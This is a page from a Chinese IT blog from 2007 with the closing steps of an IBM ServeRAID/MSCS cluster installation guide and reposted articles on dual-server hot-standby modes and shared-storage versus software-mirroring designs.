41. 此时Cluster配置窗口出现,按“Cancel”,然后按“Yes”
(注意:选择Cancel的目的是在安装MSCS之中加入IBM ServeRaid Cluster Solution
Programe)
42. 按照提示完成安装,选择“Finish”,“Close”。移去光驱中的CD
43. 然后运行桌面“cluster”目录下的“setup.exe”
44. 按照提示安装完 IBM ServeRaid Cluster Solution
45. 继续安装完MSCS
46. 加入Server A创建的Cluster
47. 输入管理员的用户名和口令
48. 按照提示安装完成后,Cluster Service 成功启动
49. IBM Cluster Wizard 会自动配置共享阵列的资源
安装完成 。
posted @ 2007-11-21 16:04 applezk's IT blog 阅读(502) | 评论 (0)编辑 收藏

在应用双机热备时,有多种应用模式,典型的包括主从、互备、多点集群三大类:

 主从模式是最标准、最简单的双机热备,即是目前通常所说的active/standby方式。它使用两台服务器,一台作为主服务器(Active),运行应用系统来提供服务。另一台作为备机,安装完全一样的应用系统,但处于待机状态(Standby)。当active服务器出现故障的时候,通过软件诊测(一般是通过心跳诊断)将standby机器激活,保证应用在短时间内完全恢复正常使用。

 双机互备,在双机热备的基础上,两个相对独立的应用在两台机器同时运行,但彼此均设为备机,当某一台服务器出现故障时,另一台服务器可以在短时间内将故障服务器的应用接管过来,从而保证了应用的持续性。这种方式实际上是双机热备的一种应用。它避免了两个应用使用四台服务器分别实现双机热备。

 但双机互备存在着性能瓶颈,即如果进行切换后,在一台服务器上就有同时运行两个应用,有可能负载过大。并且,有些情况下会有不止两台服务器对外提供服务。在这种情况上,多点集群就显示出了其必要性。

 多点集群可以理解为双机热备在技术上的提升。多机服务器可以组成一个集群。根据应用的实际情况,可以灵活地在这些服务器上进行部署,同时可以灵活地设置接管策略。比如,可以由一台服务器作为其他所有服务器的备机,也可以设置多重的接管关系,等等。这样,就可以充分地利用服务器的资源,同时保证系统的高可用性。

  相关文章:双机软件与集群软件的异同

  转载请注明出处:www.ha999.com 双机热备指南

posted @ 2007-11-21 15:57 applezk's IT blog 阅读(403) | 评论 (0)编辑 收藏

本文将对双机热备的纯软件方式进行深入分析。

 数据库双机热备有两种典型的方式,一种是比较标准的,两台服务器通过一个共享的存储设备(一般是共享的磁盘阵列或存储区域网SAN),并且安装双机软件,实现双机热备,称为共享方式。另一种方式是通过纯软件的方式,一般称为纯软件方式或镜像方式(Mirror)。

 对于共享方式,数据库放在共享的存储设备上。当一台服务器提供服务时,直接在存储设备上进行读写。而当系统切换后,另一台服务器也同样读取该存储设备上的数据。

 对于纯软件的方式,通过镜像软件,将数据可以实时复制到另一台服务器上,这样同样的数据就在两台服务器上各存在一份,如果一台服务器出现故障,可以及时切换到另一台服务器。

 纯软件方式有三大优点:

 1.避免了磁盘阵列的单点故障:对于双机热备,本身即是防范由于单个设备的故障导致服务中断,但磁盘阵列恰恰又形成了一个新的单点。(比如,服务器的可靠系数是99.9%, 磁盘阵列的可靠系数是99.95%,则纯软双机的可靠系数是1-99.9%x99.9%=99.99%,而基于磁盘阵列的双机热备系统的可靠系数则会是略低于99.95%

 2.节约投资:不需购买昂贵的磁盘阵列。

 3.不受距离的限制:两台服务器不需受SCSI电缆的长度限制(光纤通道的磁盘阵列也不受距离限制,但投资会大得多)。这样,可以更灵活地部署服务器,包括通过物理位置的距离来提高安全性。

 纯软件方式以前应用得较少,一方面是由于当时市场上比较流行的双机软件不支持纯软件方式,另一方面是由于少数支持纯软件方式的产品其可靠性不太令人放心。但随着NEC这样的大牌厂商的产品进入市场,应该说纯软件方式将逐渐成为一种方向。

 从方案选择的角度,建议在进行双机热备时,如果投资充裕、数据量大(1T以上),可以采用共享的存储设备(如磁盘阵列)的方式,但应尽量选择高可靠性(如著名品牌的)设备,并且考虑选择双控制器的方案。否则,则更好的选择是纯软件方式。当然,这时就一定要选择成熟的、大厂商的经过考验的产品。

posted @ 2007-11-21 15:56 applezk's IT blog 阅读(320) | 评论 (0)编辑 收藏

双机热备有两种实现模式,一种是基于共享的存储设备的方式,另一种是没有共享的存储设备的方式,一般称为纯软件方式。

 基于存储共享的双机热备是双机热备的最标准方案。

 对于这种方式,采用两台(或多台,参见:双机与集群的异同)服务器,使用共享的存储设备(磁盘阵列柜或存储区域网SAN)。两台服务器可以采用互备、主从、并行等不同的方式。在工作过程中,两台服务器将以一个虚拟的IP地址对外提供服务,依工作方式的不同,将服务请求发送给其中一台服务器承担。同时,服务器通过心跳线(目前往往采用建立私有网络的方式)侦测另一台服务器的工作状况。当一台服务器出现故障时,另一台服务器根据心跳侦测的情况做出判断,并进行切换,接管服务。对于用户而言,这一过程是全自动的,在很短时间内完成,从而对业务不会造成影响。由于使用共享的存储设备,因此两台服务器使用的实际上是一样的数据,由双机或集群软件对其进行管理。

 (典型的双机热备产品,参见:LanderCluster集群软件)

 对于纯软件的方式,则是通过支持镜像的双机软件,将数据可以实时复制到另一台服务器上,这样同样的数据就在两台服务器上各存在一份,如果一台服务器出现故障,可以及时切换到另一台服务器。

 对于这种方式的深入分析,请参见:纯软件方式的双机热备方案深入分析

 纯软件方式还有另外一种情况,即服务器只是提供应用服务,而并不保存数据(比如只进行某些计算,做为应用服务器使用)。这种情况下同样也不需要使用共享的存储设备,而可以直接使用双机或集群软件即可。但这种情况其实与镜像无关,只不过是标准的双机热备的一种小的变化。

  转载请注明出处:www.ha999.com 双机热备指南

posted @ 2007-11-21 15:55 applezk's IT blog 阅读(437) | 评论 (0)编辑 收藏

仅列出标题
共19页: First 9 10 11 12 13 14 15 16 17 Last